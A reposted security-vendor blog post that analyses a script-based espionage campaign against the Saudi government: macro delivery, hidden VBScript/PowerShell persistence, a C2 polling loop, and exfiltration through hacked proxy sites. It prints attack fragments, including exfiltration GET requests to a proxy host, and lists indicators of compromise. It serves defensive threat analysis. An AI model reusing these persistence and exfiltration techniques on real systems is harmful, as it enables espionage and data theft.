Skip to main content

Elaborate scripting-fu used in espionage attack against Saudi Arabia Government

This post was co-authored by David Sánchez and Jérôme Segura

We recently came across a campaign targeting the Saudi Arabia Government via a malicious Word document which at first reminded us of an attack we had previously described on this blog.

In our previous research, we detailed how an information stealer Trojan was deployed via a Word macro, in order to spy on its victims (various parts of the Saudi Government). The stolen information was transmitted back to the threat actors' infrastructure in an encrypted format.

This new threat also uses a macro to infect the target's computer, but rather than retrieving a binary payload, it relies on various scripts to maintain its presence and to communicate via hacked websites, acting as proxies for the command and control server.

The malicious script fingerprints the victim's machine and can receive any command that will run via PowerShell. In this blog post, we will describe the way this threat enters the system and maintains its presence while constantly communicating with its command and control server.

Covert delivery and persistence

The decoy document bears the logo of one of the branches of the Saudi Government and prompts the user to "Enable Content" stating that the document is in protected view (which is actually true).

A high-level summary static analysis of this document reveals that it includes a macro as well as several Base64 encoded strings.

  OLE:MAS--B-- target.doc  (Flags: M=Macros, A=Auto-executable, S=Suspicious keywords, B=Base64 strings)  

One of the first routines the malicious VBScript performs is to disable or lower security settings within Microsoft Excel and Word by altering corresponding registry keys with values of, meaning: Enable All (ref).

The VBScript also fingerprints the victim for their IP address by querying the Win32_NetworkAdapterConfiguration class:

It then proceeds to retrieve a stream of data from the Pastebin website using its own proxy:

The data is converted into two scripts, a PowerShell and a Visual Basic one, the latter being used for persistence on the infected machine via two different hook points: a Run key in the registry and a scheduled task.

This VBScript is really a launcher for the more important PowerShell script, and both are stored as hidden system files under the Documents folder using the following commands:

  attrib +s +h "C:\Users\public\documents\NTSTATS.ps1"  attrib +s +h "C:\Users\public\documents\NTSTATS.vbs"  

Espionage and exfiltration

That PowerShell script also has the same instructions to lower Office's security settings but more importantly is used to exfiltrate data and communicate with the command and control server.

A unique ID is stored on the victim's machine (in the same folder as the scripts) in a file called [username].key and is used to receive instructions via a server located in Germany (although it appears to be down at the time of writing).

  GET http://ift.tt/2wlJwXU ID] HTTP/1.1  

A function called getKey retrieves the unique ID from the .key file stored on the local hard drive to register the machine as a new victim. If the key file does not exist, it queries for additional system information (computer name, IP address, OS version) and then creates that key (Set-Content $keypath $id).

Another function called getCommand uses the key as a parameter to then contact the C2. This command runs every 5 minutes:

  while ($true){   getCommand $key   start-sleep -Seconds 300  }  

The malicious script can receive and run any command the attackers want via PowerShell, making this a very powerful attack.

The eventual exfiltration of data is done via several hardcoded websites acting as a proxy via the sendResult function:

The transmission of data is done via Base64 encoded strings, one for the user id (.key file) and one for the exfiltrated data.

  GET /wp-content/wp_fast_cache/http://ift.tt/2fqhRym HTTP/1.1  Host: www.wmg-global.com  Connection: Keep-Alive  

The parameters passed on the URL in the Base64 format:

  action=saveResult&id=[removed]&cmd=2&chunk=last&res=[removed]=  

Decoding the value in the variable "res", we get the following info.

  Connection-specific DNS Suffix . : [removed]  Description . . . . . . . . . . . : [removed]  Physical Address. . . . . . . . . : [removed]  DHCP Enabled. . . . . . . . . . . : [removed]  Autoconfiguration Enabled . . . . : [removed]  

Script based attack and protection

This attack is very different from the typical malicious spam we see on a daily basis, blasting Locky or some banking Trojan. Indeed, there is no malicious binary payload (although one could be downloaded by the C2) which makes us think the attackers are trying to keep a low profile and remain on the system while collecting information from their target.

Relying on scripts as part of the attack chain and ongoing infection is an interesting concept due to how modular it is, not to mention more likely to stay undetected from antivirus engines. At the same time, it needs to rely on various encoding techniques because it can't make use of a maker like a traditional malware binary would. 

Malwarebytes users are already protected against this attack thanks to our signature-less engine.

Indicators of compromise

Scripts:

  C:\Users\public\documents\NTSTATS.ps1  C:\Users\public\documents\NTSTATS.vbs  

C2:

  44.76.109[.]88/al/  

Proxies:

  larsson-elevator[.]com/plugins/xmap/com_k2/com.php?c=  spearhead-training[.]com/action/point2.php?c=  itcdubai[.]net/action/contact_gtc.php?c=  taxconsultantsdubai[.]ae/wp-content/themes/config.php?c=  projac.co[.]uk/Senditem.php?c=  wmg-global[.]com/wp-content/wp_fast_cache/http://ift.tt/2wlhcoM   romix-group[.]com/modules/mod_wrapper/Senditem.php?c=  heartmade[.]ae/plugins/content/contact/Senditem.php?c=  arch-tech[.]net/components/com_layer_slider/Senditem.php?c=  

The post Elaborate scripting-fu used in espionage attack against Saudi Arabia Government appeared first on Malwarebytes Labs.



from Malwarebytes Labs full article here

Popular posts from this blog

Malwarebytes CrackMe 2: contest summary

About three weeks ago, we published our second CrackMe . It triggered a lot of interest, and we got many high-quality write-ups. Choosing the winner was really difficult! In this post, I am going to summarize the contest and comment on the received submissions. CrackMe 2 challenge The topic of the challenge was Python, and its goal was to teach how the Python scripts can be packaged and integrated with native executables. The involved Python script was not obfuscated, and the user was supposed to adapt it for the purpose of finding the solution. The CrackMe was made of three components, cooperating with each other: a Python script (converted to EXE with the help of PyInstaller) a native DLL, loaded with the help of the above script a Python script unpacked by the DLL and injected into Actxproxy.dll In the first level, the user was supposed to find a valid PIN to decode a URL, from which the next level was downloaded. The next level was a native DLL that was inject...

Windows Driver Backup and Restore Guide and Software for All Versions

Computer is a collection of hardware and To work properly these hardware we need to install some drivers. Drivers may vary for different versions of operating systems. By default an operating system doesn't have all your computer drivers so we need to take driver backup from current OS for future use. Virus and Worms becomes more popular now to corrupt our computer or their software and that is another reason to always keep your computer driver backup to re-use them without any issue. Taking your driver backup can solve a lot of issue related to your computer. Windows Driver Backup and Restore Guide The method is very manageable and smooth, You will need to use a utility software that will create backup of all drivers in your Windows operating system and later you can restore them whenever you change your operating system, or some of your drivers get corrupted. So proceed with some simple steps below. Steps to Backup and Restore Drivers on Windows Using Double Driver Fi...

Why you need Network Forensic Tool in your life

CyberScan is an open source network penetration testing toolkit that can perform various forensics and network scanning tasks, such as data packet analysis, packet decoding, pinging networks, ports scanning, and gathering geographical data for a given IP address.  CyberScan is capable of sending, capturing, and decoding data packets. The toolkit can decode Ethernet, IP, TCP, […] from Learn Ethical Hacking and Penetration Testing Online full article here